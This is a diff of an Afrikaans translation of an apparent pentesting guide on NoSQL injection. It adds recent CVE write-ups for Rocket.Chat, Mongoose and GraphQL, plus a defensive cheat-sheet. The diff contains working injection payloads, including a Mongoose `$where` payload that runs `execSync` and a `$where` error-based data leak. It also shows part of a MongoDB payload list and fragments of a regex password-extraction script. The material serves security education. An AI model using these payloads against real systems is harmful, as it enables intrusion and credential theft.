Translated ['src/pentesting-web/nosql-injection.md'] to af

src/pentesting-web/nosql-injection.md

@@ -4,7 +4,7 @@
 
 ## Exploit
 
-In PHP kan jy 'n Array stuur deur die gestuurde parameter van _parameter=foo_ na _parameter\[arrName]=foo_ te verander.
+In PHP kan jy 'n Array stuur deur die gestuurde parameter van _parameter=foo_ na _parameter[arrName]=foo_ te verander.
 
 Die exploits is gebaseer op die toevoeging van 'n **Operator**:
 ```bash
@@ -86,7 +86,7 @@ Met die **$func** operator van die [MongoLite](https://github.com/agentejo/cockp
 
 ### Kry inligting van 'n verskillende versameling
 
-Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n **verskillende versameling** genaamd **`users`** en kry die **resultate van al die inskrywings** met 'n wagwoord wat 'n wildcard pas.
+Dit is moontlik om [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n **verskillende versameling** genaamd **`users`** en kry die **resultate van al die inskrywings** met 'n wagwoord wat met 'n wildcard ooreenstem.
 
 **NOTE:** `$lookup` en ander aggregatiefunksies is slegs beskikbaar as die `aggregate()` funksie gebruik is om die soektog uit te voer in plaas van die meer algemene `find()` of `findOne()` funksies.
 ```json
@@ -114,9 +114,43 @@ Inject `throw new Error(JSON.stringify(this))` in 'n `$where` klousule om volle
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
+## Onlangse CVE's & Regte-Wêreld Exploits (2023-2025)
+
+### Rocket.Chat ongeverifieerde blinde NoSQLi – CVE-2023-28359
+Weergawes ≤ 6.0.0 het die Meteor-metode `listEmojiCustom` blootgestel wat 'n gebruiker-beheerde **selector** objek direk na `find()` gestuur het. Deur operateurs soos `{"$where":"sleep(2000)||true"}` in te voeg, kon 'n ongeverifieerde aanvaller 'n tyds-orakel bou en dokumente eksterneer. Die fout is in 6.0.1 reggestel deur die selector-vorm te valideer en gevaarlike operateurs te verwyder.
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+Wanneer `populate()` met die `match` opsie gebruik word, het Mongoose (≤ 8.8.2) die objek woordeliks gekopieer *voor* dit na MongoDB gestuur is. Deur `$where` te verskaf, is JavaScript **binne Node.js** uitgevoer, selfs al was bediener-kant JS op MongoDB gedeaktiveer:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+Die eerste patch (8.8.3) het topvlak `$where` geblokkeer, maar om dit onder `$or` te nes ondermyn die filter, wat gelei het tot CVE-2025-23061. Die probleem is volledig reggestel in 8.9.5, en 'n nuwe verbindingsopsie `sanitizeFilter: true` is bekendgestel.
+
+### GraphQL → Mongo filter verwarring
+Resolvers wat `args.filter` direk in `collection.find()` deurgee, bly kwesbaar:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+Mitigations: herhalend sleutels verwyder wat met `$` begin, kaart toegelate operateurs eksplisiet, of valideer met skema biblioteke (Joi, Zod).
+
+## Defensive Cheat-Sheet (updated 2025)
+
+1. Verwyder of verwerp enige sleutel wat met `$` begin (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Deaktiveer bediener-kant JavaScript op self-gehoste MongoDB (`--noscripting`, standaard in v7.0+).
+3. Verkies `$expr` en aggregasie bouers in plaas van `$where`.
+4. Valideer datatipe vroeg (Joi/Ajv) en verbied arrays waar skalar waardes verwag word om `[$ne]` truuks te vermy.
+5. Vir GraphQL, vertaal filter argumente deur 'n toelaat lys; versprei nooit onbetroubare objekte nie.
+
 ## MongoDB Payloads
 
-Lys [van hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
 true, $where: '1 == 1'
 , $where: '1 == 1'
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## Gereedskap
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## Verwysings
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}